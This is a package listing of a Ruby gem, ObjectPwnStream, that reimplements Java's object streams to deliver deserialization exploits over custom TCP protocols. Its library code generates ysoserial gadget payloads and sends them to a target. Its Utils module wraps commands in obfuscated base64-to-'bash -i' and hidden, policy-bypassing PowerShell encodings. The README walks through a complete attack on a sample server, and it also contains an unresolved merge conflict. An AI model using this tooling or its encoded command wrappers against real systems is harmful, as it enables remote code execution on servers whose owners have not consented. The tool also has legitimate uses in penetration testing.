ObjectPwnStream 0.1.0

checksums.yaml

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+---
+SHA256:
+  metadata.gz: b905811964d789180cbff26100f1b58c98d1988c6f087eba194d7d16ddcc235c
+  data.tar.gz: 225bc15214b8c5f87fb4af9b3798b727d6d2c75874f74d49499255c63cb0d587
+SHA512:
+  metadata.gz: 75441eb2eef3c5e70153b983982fa4d00df0e4889b66bbccd332f0a18928c94bf3c944b7ac5ad5eb4e98ae185b44a33665c25926b0437dee2711436e65486daa
+  data.tar.gz: a3e607e834726bb96a97966a7755029447246b80dfae18ff0417c24db6752cc677190d497408ace2f484bd5c13f077b121fe9eab865aab16b61ad972cd1bfce3

data/.gitignore

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+/.bundle/
+/.yardoc
+/Gemfile.lock
+/_yardoc/
+/coverage/
+/doc/
+/pkg/
+/spec/reports/
+/tmp/
+/.idea
+
+# rspec failure tracking
+.rspec_status

data/.rspec

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+--format documentation
+--color

data/.travis.yml

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+sudo: false
+language: ruby
+rvm:
+  - 2.3.3
+before_install: gem install bundler -v 1.15.3

data/Gemfile

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+source "https://rubygems.org"
+
+git_source(:github) {|repo_name| "https://github.com/#{repo_name}" }
+
+# Specify your gem's dependencies in ObjectPwnStream.gemspec
+gemspec

data/LICENSE.txt

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+The MIT License (MIT)
+
+Copyright (c) 2022 hakivvi
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.

data/ObjectPwnStream.gemspec

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+# coding: utf-8
+require_relative 'lib/ObjectPwnStream'
+lib = File.expand_path("../lib", __FILE__)
+$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
+
+
+Gem::Specification.new do |spec|
+  spec.name          = "ObjectPwnStream"
+  spec.version       = ObjectPwnStream::VERSION
+  spec.authors       = "hakivvi"
+  spec.email         = "hakivvi@gmail.com"
+
+  spec.summary       = %q{a Ruby implementation for ObjectInputStream and ObjectOutputStream to ease JAVA deserialization exploitation.}
+  spec.description   = %q{a Ruby implementation of Java's ObjectInputStream and ObjectOutputStream, to ease the process of Java deserialization exploitation on custom TCP based network protocols.}
+  spec.homepage      = "https://github.com/hakivvi/ObjectPwnStream"
+  spec.license       = "MIT"
+
+  # Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
+  # to allow pushing to a single host or delete this section to allow pushing to any host.
+  # if spec.respond_to?(:metadata)
+  #   spec.metadata["allowed_push_host"] = "TODO: Set to 'http://mygemserver.com'"
+  # else
+  #   raise "RubyGems 2.0 or newer is required to protect against " \
+  #     "public gem pushes."
+  # end
+
+  spec.files         = `git ls-files -z`.split("\x0").reject do |f|
+    f.match(%r{^(test|spec|features)/})
+  end
+  spec.bindir        = "exe"
+  spec.executables   = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
+  spec.require_paths = ["lib"]
+
+  spec.add_development_dependency "bundler"
+  spec.add_development_dependency "rake", "~> 10.0"
+  spec.add_development_dependency "rspec", "~> 3.0"
+end

data/README.md

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+<<<<<<< HEAD
+# ObjectPwnStream
+
+a Ruby implementation of Java's `ObjectInputStream` and `ObjectOutputStream`, to ease the process of Java deserialization exploitation on custom TCP based network protocols.
+
+## Installation
+
+Add this line to your application's Gemfile:
+
+```ruby
+gem 'ObjectPwnStream'
+```
+
+And then execute:
+
+    $ bundle
+
+Or install it yourself as:
+
+    $ gem install ObjectPwnStream
+
+Or install it from main branch:
+
+    $ git clone https://github.com/hakivvi/ObjectPwnStream
+    $ cd ObjectPwnStream
+    $ bundle install && bundle exec rake install
+## Usage
+the library provides a set of methods to mimic the methods of both `ObjectInputStream` and `ObjectOutputStream`,
+
+the `readObject()` method is not always the first function run on a TCP socket, so you can't just feed the server with your serialized payload or else `java.io.StreamCorruptedException` will be thrown by the server.
+
+take this toy server for example, which does read and write a bunch of types before actually calling `readObject()` which the attacker is usually interested in:
+```java
+                s = serverSock.accept();
+                System.out.println("[+] Connection accepted from " + s.getInetAddress().getHostAddress() + ":" + s.getPort());
+                
+                oos = new ObjectOutputStream(s.getOutputStream());
+                ois = new ObjectInputStream(s.getInputStream());
+
+                oos.writeInt(serverVersion);
+                oos.flush();
+                System.out.printf("[>] writeInt(): 0x%x\n", serverVersion);
+
+                System.out.printf("[<] readInt(): 0x%x\n", ois.readInt());
+
+                oos.writeUTF(serverName);
+                oos.flush();
+                System.out.printf("[>] writeUTF(): %s\n", serverName);
+
+                System.out.printf("[<] readUTF(): %s\n", ois.readUTF());
+
+
+                oos.writeShort(0xabcd);
+                oos.flush();
+                System.out.printf("[>] writeShort(): 0x%x\n", 0xabcd);
+
+                System.out.printf("[<] readShort(): 0x%x\n", ois.readShort());
+                
+                oos.writeLong(-12345);
+                oos.flush();
+                System.out.printf("[>] writeLong(): %d\n", -12345);
+
+                System.out.printf("[<] readLong(): %d\n", ois.readLong());
+
+
+                oos.writeObject(new ToyServer());
+                oos.flush();
+                System.out.println("[>] writeObject()");
+
+                System.out.println("[<] readObject()");
+                try {
+                	ois.readObject();
+               	} catch (Throwable e) {}
+```
+to reach the `readObject()` method in this server connection, we should read and write successively `int`, `utf`, `short` etc.
+using `ObjectPwnStream` library, we can do just that:
+```ruby
+require 'ObjectPwnStream'
+
+pwnStream = ObjectPwnStream::PwnStream.new("127.0.0.1", 9090)
+pwnStream.connect!
+pwnStream.open_streams!
+pwnStream.read_int
+pwnStream.write_int 0x1337
+pwnStream.read_utf
+pwnStream.write_utf "ObjectPwnStream"
+pwnStream.read_short
+pwnStream.write_short 0xabcd
+pwnStream.read_long signed=true
+pwnStream.write_long -12345
+pwnStream.read_object
+pwnStream.ysoserial_generate!("./ysoserial.jar", "CommonsCollections2", "gnome-calculator", encode: true, windows: false)
+pwnStream.write_object(ysoserial: true)
+```
+## Development
+
+After checking out the repo, run `bin/setup` to install dependencies. Then, run `rake spec` to run the tests. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
+
+To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org).
+
+## Contributing
+
+Bug reports and pull requests are welcome on GitHub at https://github.com/hakivvi/ObjectPwnStream. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [Contributor Covenant](http://contributor-covenant.org) code of conduct.
+
+## License
+
+The gem is available as open source under the terms of the [MIT License](http://opensource.org/licenses/MIT).
+
+## Code of Conduct
+
+Everyone interacting in the ObjectPwnStream project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://github.com/[USERNAME]/ObjectPwnStream/blob/master/CODE_OF_CONDUCT.md).
+
+## Todo
+
+- document all the functions.
+- support CLI mode.
+=======
+# ObjectPwnStream
+>>>>>>> 722378df4eaf6880483a7235cdda15036bd64adb

data/Rakefile

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+require "bundler/gem_tasks"
+require "rspec/core/rake_task"
+
+RSpec::Core::RakeTask.new(:spec)
+
+task :default => :spec

data/bin/console

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+#!/usr/bin/env ruby
+
+require "bundler/setup"
+require "ObjectPwnStream"
+
+# You can add fixtures and/or initialization code here to make experimenting
+# with your gem easier. You can also use a different console, if you like.
+
+# (If you use this, don't forget to add pry to your Gemfile!)
+# require "pry"
+# Pry.start
+
+require "irb"
+IRB.start(__FILE__)

data/bin/setup

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+#!/usr/bin/env bash
+set -euo pipefail
+IFS=$'\n\t'
+set -vx
+
+bundle install
+
+# Do any other automated setup that you need to do here

data/lib/ObjectPwnStream/Constants.rb

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+module ObjectPwnStream
+  module Constants
+    STREAM_MAGIC = 0xaced
+    STREAM_VERSION = 5
+    TC_NULL = 0x70
+    TC_REFERENCE = 0x71
+    TC_CLASSDESC = 0x72
+    TC_OBJECT = 0x73
+    TC_STRING = 0x74
+    TC_ARRAY = 0x75
+    TC_CLASS = 0x76
+    TC_BLOCKDATA = 0x77
+    TC_ENDBLOCKDATA = 0x78
+    TC_RESET = 0x79
+    TC_BLOCKDATALONG = 0x7A
+    TC_EXCEPTION = 0x7B
+    TC_LONGSTRING =  0x7C
+    TC_PROXYCLASSDESC =  0x7D
+    TC_ENUM =  0x7E
+    BASE_WIRE_HANDLE = 0x7E0000
+
+    module Flags
+      SC_WRITE_METHOD = 0x01 # if SC_SERIALIZABLE
+      SC_BLOCK_DATA = 0x08 # if SC_EXTERNALIZABLE
+      SC_SERIALIZABLE = 0x02
+      SC_EXTERNALIZABLE = 0x04
+      SC_ENUM = 0x10
+    end
+  end
+end

data/lib/ObjectPwnStream/Errors.rb

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+module ObjectPwnStream
+  module Errors
+    class StreamHeaderError < StandardError
+      def message()="received an invalid stream header from the server."
+    end
+
+    class InvalidStreamReset < StandardError
+      def message()="received an invalid reset sequence from the server."
+    end
+
+    class PayloadStreamHeaderError < StandardError
+      def message()="the provided serialized payload has an invalid stream header."
+    end
+
+    class YsoserialGenerateError < StandardError
+      def initialize(cmd)
+        super("Ysoserial returned an empty string, make sure the arguments are correct.\n\tthis command was run: #{cmd}")
+      end
+    end
+
+    class YsoserialPayloadCorruptedError < StandardError
+      def message()="the payload returned by Ysoserial is corrupted."
+    end
+  end
+end

data/lib/ObjectPwnStream/ObjectInputStream.rb

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+require_relative 'Constants'
+require_relative 'Errors'
+
+module ObjectPwnStream
+  module ObjectInputStream
+    include Constants
+    include Errors
+
+    def open_input_stream
+      check_stream_header(read_stream_header)
+    end
+
+    def read_int(signed=false)
+      _, length = read_block_header
+      template = (signed ? "l>" : "L>")
+      @socket.read(length).unpack(template)[0]
+      # to_signed(hex.to_i(16))
+    end
+
+    def read_short(signed=false)
+      _, length = read_block_header
+      template = (signed ? "s>" : "S>")
+      @socket.read(length).unpack(template)[0]
+    end
+
+    def read_char
+      [read_short].pack("U")
+    end
+
+    def read_chars
+      _, length = read_block_header
+      @socket.read(length).unpack("S>*").pack("U*")
+    end
+
+    def read_byte
+      read_block_header
+      @socket.getbyte
+    end
+
+    def read_bytes
+      _, length = read_block_header
+      @socket.read(length).unpack("C*")
+    end
+
+    def read_utf
+      _, block_length = read_block_header
+      length = @socket.read(2).unpack("S>")[0]
+      @socket.read(length).unpack("U*").pack("U*")
+    end
+
+    def read_boolean
+      read_block_header
+      bool = @socket.getbyte
+      bool != 0
+    end
+
+    def handle_reset
+      check_stream_reset(@socket.getbyte)
+    end
+
+    def read_float
+      _, length = read_block_header
+      @socket.read(length).unpack("g")[0]
+    end
+
+    def read_double
+      _, length = read_block_header
+      @socket.read(length).unpack("G")[0]
+    end
+
+    def read_long(signed=false)
+      _, length = read_block_header
+      template = signed ? "q>" : "Q>"
+      @socket.read(length).unpack(template)[0]
+    end
+
+    def read_object
+      bytes = [@socket.getbyte]
+      while @socket.ready?
+        bytes << @socket.getbyte
+      end
+      bytes.pack("C*")
+    end
+
+    private
+    def read_stream_header
+      @socket.read(4).unpack("S>S>")
+    end
+
+    def read_block_header
+      block = @socket.getbyte
+      if block.eql?(Constants::TC_BLOCKDATA)
+        length = @socket.getbyte
+      elsif block.eql?(Constants::TC_BLOCKDATALONG)
+        length = @socket.read(4).unpack("I>")[0]
+      end
+      [block, length]
+    end
+
+    def check_stream_header(header, provided=nil)
+      unless header.first.eql?(Constants::STREAM_MAGIC) && header.last.eql?(Constants::STREAM_VERSION)
+        raise provided.nil? ? Errors::StreamHeaderError : !provided ? Errors::YsoserialPayloadCorruptedError : Errors::PayloadStreamHeaderError
+      end
+    end
+
+    def check_stream_reset(reset)
+      unless reset.eql?(Constants::TC_RESET)
+        raise Errors::InvalidStreamReset
+      end
+    end
+
+    module_function(:check_stream_header)
+  end
+end

data/lib/ObjectPwnStream/ObjectOutputStream.rb

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+require_relative 'Constants'
+require_relative 'ObjectInputStream'
+require_relative 'PwnStream'
+
+module ObjectPwnStream
+  module  ObjectOutputStream
+    include Constants
+
+    def open_output_stream
+      write_stream_header(*[Constants::STREAM_MAGIC, Constants::STREAM_VERSION])
+    end
+
+    def write_int(v, signed=false)
+      length = 4
+      write_block_header(Constants::TC_BLOCKDATA, length)
+      template = (signed ? "l>" : "L>")
+      @socket.write([v].pack(template))
+      @socket.flush
+    end
+
+    def write_short(v, signed=false)
+      v &= 0xFFFF
+      length = 2
+      write_block_header(Constants::TC_BLOCKDATA, length)
+      template = (signed ? "s>" : "S>")
+      @socket.write([v].pack(template))
+      @socket.flush
+    end
+
+    def write_char(char)
+      write_short(char.unpack("U")[0])
+    end
+
+    def write_chars(str)
+      conv = Encoding::Converter.new("utf-8", "utf-16")
+      data = conv.convert(str)
+      write_block_header(Constants::TC_BLOCKDATA, data.bytesize)
+      @socket.write(data)
+      @socket.flush
+    end
+
+    def write_byte(byte)
+      write_block_header(Constants::TC_BLOCKDATA, 0x1)
+      @socket.putc(byte)
+      @socket.flush
+    end
+
+    def write_bytes(bytes)
+      write_block_header(Constants::TC_BLOCKDATA, bytes.size)
+      bytes.each {@socket.putc(_1)}
+      @socket.flush
+    end
+
+    def write_utf(str)
+      utf_size = str.bytesize
+      write_block_header(Constants::TC_BLOCKDATA, utf_size+2)
+      @socket.write([utf_size].pack("S>"))
+      @socket.write(str)
+      @socket.flush
+
+    end
+
+    def write_boolean(bool)
+      write_block_header(Constants::TC_BLOCKDATA, 1)
+      @socket.putc(bool ? 0x1 : 0x0)
+      @socket.flush
+    end
+
+    def write_float(float)
+      write_block_header(Constants::TC_BLOCKDATA, 4)
+      @socket.write([float].pack("g"))
+      @socket.flush
+    end
+
+    def write_double(double)
+      write_block_header(Constants::TC_BLOCKDATA, 8)
+      @socket.write([double].pack("G"))
+      @socket.flush
+    end
+
+    def write_long(long, signed=false)
+      write_block_header(Constants::TC_BLOCKDATA, 8)
+      template = signed ? "q>" : "Q>"
+      @socket.write([long].pack(template))
+      @socket.flush
+    end
+
+    def reset!
+      @socket.putc(Constants::TC_RESET)
+      @socket.flush
+    end
+
+    def write_object(payload_path: nil, payload: nil, ysoserial: false)
+      if ysoserial
+        @socket.write(@payload)
+        @socket.flush
+      elsif payload
+        ObjectInputStream.check_stream_header(payload[...4].unpack("S>*"), provided: true)
+        @socket.write(payload[4..])
+        @socket.flush
+      elsif payload_path
+        pf = File.open(payload_path, "rb")
+        ObjectInputStream.check_stream_header(pf.read(4).unpack("S>*"), provided: true)
+        @socket.write(pf.read(pf.size-4))
+        @socket.flush
+      end
+    end
+
+    private
+    def write_stream_header(block, version)
+      @socket.write([block, version].pack("S>S>"))
+      @socket.flush
+    end
+
+    def write_block_header(block, length)
+      @socket.write([block, length].pack("CC"))
+      @socket.flush
+    end
+  end
+end

data/lib/ObjectPwnStream/PwnStream.rb

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+require 'socket'
+require 'open3'
+require_relative 'ObjectInputStream'
+require_relative 'ObjectOutputStream'
+require_relative 'Utils'
+
+module ObjectPwnStream
+  class PwnStream
+      @host = nil
+      @port = nil
+      @socket = nil
+      @payload = nil
+
+      include ObjectOutputStream
+      include ObjectInputStream
+      attr_reader :socket
+      def initialize(host, port, connect=false)
+        @host = host
+        @port = port.to_i
+        connect! if connect
+      end
+
+      def connect!
+        @socket ||= TCPSocket.open(@host, @port)
+      end
+
+      def close!
+        @socket.flush
+        @socket.close
+        @socket = nil
+      end
+
+      def ysoserial_generate!(ysoserial_path, gadget, cmd, java_path: nil, encode: false, windows: false)
+        cmd = Utils.exec_encode(cmd, windows) if encode
+        ycmd = "#{java_path && '"'}#{java_path || 'java'}#{java_path && '"'} -jar \"#{ysoserial_path}\" #{gadget} \"#{cmd}\""
+        stdout = Open3.capture3(ycmd, :binmode => true)[0]
+        if stdout.empty?
+          raise Errors::YsoserialGenerateError.new(ycmd)
+        else
+          ObjectInputStream.check_stream_header(stdout[...4].unpack("S>*"), provided=false)
+          @payload = stdout[4..]
+        end
+      end
+
+      alias_method :open_input_stream!, :open_input_stream
+      alias_method :open_output_stream!, :open_output_stream
+      def open_streams!
+        @socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
+        open_input_stream
+        open_output_stream
+      end
+  end
+end

data/lib/ObjectPwnStream/Utils.rb

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+module ObjectPwnStream
+  module Utils
+    def to_signed(hex)
+      # from: https://www.ruby-forum.com/t/question-about-hex-signed-int/125510/4
+      int = (hex.to_i(16) if hex.is_a? String) || hex
+      length = 32
+      mid = 2**(length-1)
+      max_unsigned = 2**length
+      (int>=mid) ? int - max_unsigned : int
+    end
+
+    def exec_encode(cmd, windows=false)
+      !windows ?
+        "bash -c {echo,#{[cmd].pack('m0')}}|{base64,-d}|{bash,-i}"
+        :
+        "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc #{[cmd.chars.zip([[0].pack("C")]*cmd.length)*""].pack("m0")}"
+    end
+
+    module_function :exec_encode
+    module_function :to_signed
+  end
+end

data/lib/ObjectPwnStream.rb

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+require_relative 'ObjectPwnStream/PwnStream'
+
+module ObjectPwnStream
+  VERSION = "0.1.0"
+end

metadata

@@ -0,0 +1,104 @@
+--- !ruby/object:Gem::Specification
+name: ObjectPwnStream
+version: !ruby/object:Gem::Version
+  version: 0.1.0
+platform: ruby
+authors:
+- hakivvi
+autorequire:
+bindir: exe
+cert_chain: []
+date: 2022-05-28 00:00:00.000000000 Z
+dependencies:
+- !ruby/object:Gem::Dependency
+  name: bundler
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+  type: :development
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+- !ruby/object:Gem::Dependency
+  name: rake
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '10.0'
+  type: :development
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '10.0'
+- !ruby/object:Gem::Dependency
+  name: rspec
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '3.0'
+  type: :development
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '3.0'
+description: a Ruby implementation of Java's ObjectInputStream and ObjectOutputStream,
+  to ease the process of Java deserialization exploitation on custom TCP based network
+  protocols.
+email: hakivvi@gmail.com
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ".gitignore"
+- ".rspec"
+- ".travis.yml"
+- Gemfile
+- LICENSE.txt
+- ObjectPwnStream.gemspec
+- README.md
+- Rakefile
+- bin/console
+- bin/setup
+- lib/ObjectPwnStream.rb
+- lib/ObjectPwnStream/Constants.rb
+- lib/ObjectPwnStream/Errors.rb
+- lib/ObjectPwnStream/ObjectInputStream.rb
+- lib/ObjectPwnStream/ObjectOutputStream.rb
+- lib/ObjectPwnStream/PwnStream.rb
+- lib/ObjectPwnStream/Utils.rb
+homepage: https://github.com/hakivvi/ObjectPwnStream
+licenses:
+- MIT
+metadata: {}
+post_install_message:
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.3.6
+signing_key:
+specification_version: 4
+summary: a Ruby implementation for ObjectInputStream and ObjectOutputStream to ease
+  JAVA deserialization exploitation.
+test_files: []